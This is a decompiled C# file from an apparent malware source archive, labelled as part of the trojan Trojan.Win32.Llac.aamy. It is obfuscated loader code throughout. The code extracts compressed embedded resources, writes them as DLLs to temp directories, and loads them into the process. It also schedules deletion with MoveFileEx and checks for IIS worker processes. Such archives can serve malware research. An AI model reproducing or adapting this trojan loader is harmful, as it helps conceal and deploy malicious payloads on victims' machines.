MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0001/_0004.cs

524 lines
16 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
using \u0001;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace \u0001
{
internal sealed class \u0004
{
private static Hashtable \u0001;
[DllImport("kernel32", EntryPoint = "MoveFileEx")]
private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2);
[SpecialName]
internal static bool \u0003()
{
string lower;
try
{
bool flag;
try
{
lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower();
if (lower == "w3wp.exe")
{
flag = true;
goto label_6;
}
else if (lower == "aspnet_wp.exe")
{
flag = true;
goto label_6;
}
}
catch (Exception ex)
{
}
return false;
label_6:
return flag;
}
catch (Exception ex)
{
string str = lower;
bool flag;
// ISSUE: variable of a boxed type
__Boxed<bool> local = (ValueType) flag;
throw UnhandledException.\u0003(ex, (object) str, (object) local);
}
}
internal static void \u0003()
{
char[] chArray;
string[] strArray;
int index;
string s;
string str1;
string name;
int num;
string str2;
bool flag;
Stream manifestResourceStream;
int length;
byte[] buffer;
string path1;
\u0004.\u0001 obj;
string path2;
FileStream fileStream;
try
{
try
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0004.\u0003);
if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0004.\u0003())
return;
chArray = new char[1]{ ',' };
strArray = "e2EyMGNkNjA0LTQ5Y2YtNGViZS1hMDBjLTBkYTMwMDJmNTY3OX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{a20cd604-49cf-4ebe-a00c-0da3002f5679}".Split(chArray);
for (index = 0; index < strArray.Length - 1; index += 2)
{
try
{
s = strArray[index];
str1 = Encoding.UTF8.GetString(Convert.FromBase64String(s));
name = strArray[index + 1];
if (name.Length > 0)
{
if (name[0] == '[')
{
num = name.IndexOf(']');
str2 = name.Substring(1, num - 1);
name = name.Substring(num + 1);
flag = str2.IndexOf('z') >= 0;
if (str2.IndexOf('f') >= 0)
{
manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
if (manifestResourceStream != null)
{
length = (int) manifestResourceStream.Length;
buffer = new byte[length];
manifestResourceStream.Read(buffer, 0, length);
if (flag)
buffer = \u0002.\u0002.\u0003(buffer);
try
{
path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) name);
Directory.CreateDirectory(path1);
obj = new \u0004.\u0001(str1);
path2 = path1 + obj.\u0001 + ".dll";
if (!File.Exists(path2))
{
fileStream = File.OpenWrite(path2);
fileStream.Write(buffer, 0, buffer.Length);
fileStream.Close();
}
\u0005.\u0003(path2);
try
{
File.Delete(path2);
Directory.Delete(path1);
}
catch
{
}
}
catch (Exception ex)
{
}
}
}
}
}
}
catch (Exception ex)
{
}
}
}
catch (Exception ex)
{
}
}
catch (Exception ex)
{
object[] objArray = new object[16]
{
(object) strArray,
(object) index,
(object) s,
(object) str1,
(object) name,
(object) num,
(object) str2,
(object) flag,
(object) manifestResourceStream,
(object) length,
(object) buffer,
(object) path1,
(object) obj,
(object) path2,
(object) fileStream,
(object) chArray
};
throw UnhandledException.\u0003(ex, objArray);
}
}
internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1)
{
\u0004.\u0001 obj;
string s;
string base64String;
char[] chArray;
string[] strArray;
string str1;
bool flag1;
bool flag2;
bool flag3;
int index1;
int index2;
int num;
string str2;
Hashtable hashtable1;
Assembly assembly1;
Stream manifestResourceStream;
int length;
byte[] numArray;
string path1;
string path2;
Assembly assembly2;
FileStream fileStream1;
Hashtable hashtable2;
Assembly assembly3;
string path3;
string path4;
FileStream fileStream2;
Hashtable hashtable3;
try
{
obj = new \u0004.\u0001(obj1.Name);
s = obj.\u0003(false);
base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(s));
chArray = new char[1]{ ',' };
strArray = "e2EyMGNkNjA0LTQ5Y2YtNGViZS1hMDBjLTBkYTMwMDJmNTY3OX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{a20cd604-49cf-4ebe-a00c-0da3002f5679}".Split(chArray);
str1 = string.Empty;
flag1 = false;
flag2 = false;
flag3 = false;
for (index1 = 0; index1 < strArray.Length - 1; index1 += 2)
{
if (strArray[index1] == base64String)
{
str1 = strArray[index1 + 1];
break;
}
}
if (str1.Length == 0 && obj.\u0003.Length == 0)
{
base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
for (index2 = 0; index2 < strArray.Length - 1; index2 += 2)
{
if (strArray[index2] == base64String)
{
str1 = strArray[index2 + 1];
break;
}
}
}
if (str1.Length > 0)
{
if (str1[0] == '[')
{
num = str1.IndexOf(']');
str2 = str1.Substring(1, num - 1);
flag1 = str2.IndexOf('z') >= 0;
flag2 = str2.IndexOf('g') >= 0;
flag3 = str2.IndexOf('t') >= 0;
str1 = str1.Substring(num + 1);
}
Monitor.Enter((object) (hashtable1 = \u0004.\u0001));
try
{
if (\u0004.\u0001.ContainsKey((object) str1))
{
assembly1 = (Assembly) \u0004.\u0001[(object) str1];
goto label_47;
}
}
finally
{
Monitor.Exit((object) hashtable1);
}
manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
if (manifestResourceStream != null)
{
length = (int) manifestResourceStream.Length;
numArray = new byte[length];
manifestResourceStream.Read(numArray, 0, length);
if (flag1)
numArray = \u0002.\u0002.\u0003(numArray);
if (flag2)
{
try
{
path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1);
Directory.CreateDirectory(path1);
path2 = path1 + obj.\u0001 + ".dll";
if (!File.Exists(path2))
{
assembly2 = (Assembly) null;
fileStream1 = File.OpenWrite(path2);
fileStream1.Write(numArray, 0, numArray.Length);
fileStream1.Close();
if (\u0005.\u0003(path2))
assembly2 = Assembly.Load(obj.\u0003(true));
File.Delete(path2);
Directory.Delete(path1);
if ((object) assembly2 != null)
{
Monitor.Enter((object) (hashtable2 = \u0004.\u0001));
try
{
if (\u0004.\u0001.ContainsKey((object) str1))
assembly2 = (Assembly) \u0004.\u0001[(object) str1];
else
\u0004.\u0001.Add((object) str1, (object) assembly2);
}
finally
{
Monitor.Exit((object) hashtable2);
}
assembly1 = assembly2;
goto label_47;
}
}
}
catch
{
}
}
assembly3 = (Assembly) null;
if (!flag3)
{
try
{
assembly3 = Assembly.Load(numArray);
}
catch (FileLoadException ex)
{
flag3 = true;
}
catch (BadImageFormatException ex)
{
flag3 = true;
}
}
if (flag3)
{
try
{
path3 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1);
Directory.CreateDirectory(path3);
path4 = path3 + obj.\u0001 + ".dll";
if (!File.Exists(path4))
{
fileStream2 = File.OpenWrite(path4);
fileStream2.Write(numArray, 0, numArray.Length);
fileStream2.Close();
\u0004.\u0003(path4, (string) null, 4);
\u0004.\u0003(path3, (string) null, 4);
}
assembly3 = Assembly.LoadFile(path4);
}
catch
{
}
}
Monitor.Enter((object) (hashtable3 = \u0004.\u0001));
try
{
\u0004.\u0001.Add((object) str1, (object) assembly3);
}
finally
{
Monitor.Exit((object) hashtable3);
}
return assembly3;
}
goto label_46;
label_47:
return assembly1;
}
label_46:
return (Assembly) null;
}
catch (Exception ex)
{
object[] objArray = new object[30]
{
(object) obj,
(object) s,
(object) base64String,
(object) strArray,
(object) str1,
(object) flag1,
(object) flag2,
(object) flag3,
(object) index1,
(object) index2,
(object) num,
(object) str2,
(object) manifestResourceStream,
(object) length,
(object) numArray,
(object) path1,
(object) path2,
(object) assembly2,
(object) fileStream1,
(object) assembly3,
(object) path3,
(object) path4,
(object) fileStream2,
(object) assembly1,
(object) chArray,
(object) hashtable1,
(object) hashtable2,
(object) hashtable3,
obj0,
(object) obj1
};
throw UnhandledException.\u0003(ex, objArray);
}
}
public \u0004()
{
try
{
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex, (object) this);
}
}
static \u0004()
{
try
{
\u0004.\u0001 = new Hashtable();
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex);
}
}
internal struct \u0001
{
public string \u0001;
public Version \u0001;
public string \u0002;
public string \u0003;
public string \u0003([In] bool obj0)
{
StringBuilder stringBuilder1;
try
{
stringBuilder1 = new StringBuilder();
stringBuilder1.Append(this.\u0001);
if (obj0)
{
stringBuilder1.Append(", Version=");
stringBuilder1.Append((object) this.\u0001);
}
stringBuilder1.Append(", Culture=");
stringBuilder1.Append(this.\u0002.Length == 0 ? "neutral" : this.\u0002);
stringBuilder1.Append(", PublicKeyToken=");
stringBuilder1.Append(this.\u0003.Length == 0 ? "null" : this.\u0003);
return stringBuilder1.ToString();
}
catch (Exception ex)
{
StringBuilder stringBuilder2 = stringBuilder1;
// ISSUE: variable of a boxed type
__Boxed<\u0004.\u0001> local1 = (ValueType) this;
// ISSUE: variable of a boxed type
__Boxed<bool> local2 = (ValueType) obj0;
throw UnhandledException.\u0003(ex, (object) stringBuilder2, (object) local1, (object) local2);
}
}
public \u0001([In] string obj0)
{
char[] chArray1;
string[] strArray1;
int index;
string str1;
string str2;
try
{
this.\u0001 = new Version();
this.\u0002 = string.Empty;
this.\u0003 = string.Empty;
this.\u0001 = string.Empty;
string str3 = obj0;
chArray1 = new char[1]{ ',' };
char[] chArray2 = chArray1;
strArray1 = str3.Split(chArray2);
for (index = 0; index < strArray1.Length; ++index)
{
str1 = strArray1[index];
str2 = str1.Trim();
if (str2.StartsWith("Version="))
this.\u0001 = new Version(str2.Substring(8));
else if (str2.StartsWith("Culture="))
{
this.\u0002 = str2.Substring(8);
if (this.\u0002 == "neutral")
this.\u0002 = string.Empty;
}
else if (str2.StartsWith("PublicKeyToken="))
{
this.\u0003 = str2.Substring(15);
if (this.\u0003 == "null")
this.\u0003 = string.Empty;
}
else
this.\u0001 = str2;
}
}
catch (Exception ex)
{
string str4 = str1;
string str5 = str2;
char[] chArray3 = chArray1;
string[] strArray2 = strArray1;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) index;
// ISSUE: variable of a boxed type
__Boxed<\u0004.\u0001> local2 = (ValueType) this;
string str6 = obj0;
throw UnhandledException.\u0003(ex, (object) str4, (object) str5, (object) chArray3, (object) strArray2, (object) local1, (object) local2, (object) str6);
}
}
}
}
}